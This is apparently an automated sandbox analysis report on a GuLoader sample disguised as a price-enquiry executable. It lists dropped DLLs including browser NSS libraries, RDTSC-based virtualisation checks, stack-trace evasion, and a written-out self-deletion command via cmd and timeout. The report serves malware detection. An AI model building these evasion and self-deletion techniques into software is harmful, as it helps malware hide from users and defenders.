Source:	Binary string: msvcp140.i386.pdbGCTL source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.2374810343.00000000004D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PRICE ENQUIRY - RFQ 6000073650.exe PID: 4124, type: MEMORYSTR

Source: api-ms-win-crt-multibyte-l1-1-0.dll.3.dr

Static PE information: 0x9F27750A [Wed Aug 12 16:00:10 2054 UTC]

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Code function: 0_2_004060E1 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004060E1

Source: msvcp140.dll.3.dr

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Code function: 0_2_10002DA0 push eax; ret

0_2_10002DCE

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\nsgBC23.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File created: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process created: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "PRICE ENQUIRY - RFQ 6000073650.exe"
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process created: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "PRICE ENQUIRY - RFQ 6000073650.exe"			Jump to behavior

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	API/Special instruction interceptor: Address: 49C63E4
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	API/Special instruction interceptor: Address: 2E363E4

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	RDTSC instruction interceptor: First address: 495DEED second address: 495DEED instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FB5FD0E1745h 0x00000006 cmp dx, ax 0x00000009 test bh, bh 0x0000000b inc ebp 0x0000000c inc ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	RDTSC instruction interceptor: First address: 2DCDEED second address: 2DCDEED instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FB5FCD95515h 0x00000006 cmp dx, ax 0x00000009 test bh, bh 0x0000000b inc ebp 0x0000000c inc ebx 0x0000000d rdtsc

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgBC23.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Code function: 0_2_004055FF GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,LdrInitializeThunk,FindNextFileW,FindClose,	0_2_004055FF
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Code function: 0_2_004060BA FindFirstFileW,FindClose,	0_2_004060BA
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Code function: 0_2_00402770 FindFirstFileW,	0_2_00402770
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Code function: 3_2_00402770 FindFirstFileW,	3_2_00402770
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Code function: 3_2_004055FF GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,LdrInitializeThunk,FindNextFileW,FindClose,	3_2_004055FF
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Code function: 3_2_004060BA FindFirstFileW,FindClose,	3_2_004060BA

Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2633157050.00000000065D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2633157050.0000000006567000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	API call chain: ExitProcess graph end node			graph_0-4756
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	API call chain: ExitProcess graph end node			graph_0-4752

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Code function: 0_2_00403741 GetTempPathW,GetUserDefaultUILanguage,LdrInitializeThunk,lstrcatW,lstrlenW,lstrcmpiW,GetFileAttributesW,LoadImageW,RegisterClassW,LdrInitializeThunk,SystemParametersInfoW,LdrInitializeThunk,LdrInitializeThunk,CreateWindowExW,ShowWindow,LoadLibraryW,LoadLibraryW,LoadLibraryW,GetClassInfoW,GetClassInfoW,GetClassInfoW,RegisterClassW,DialogBoxParamW,

0_2_00403741

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Code function: 0_2_004060E1 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004060E1

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process created: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe "C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "PRICE ENQUIRY - RFQ 6000073650.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3	Jump to behavior

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Code function: 0_2_00405D99 GetVersion,LdrInitializeThunk,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

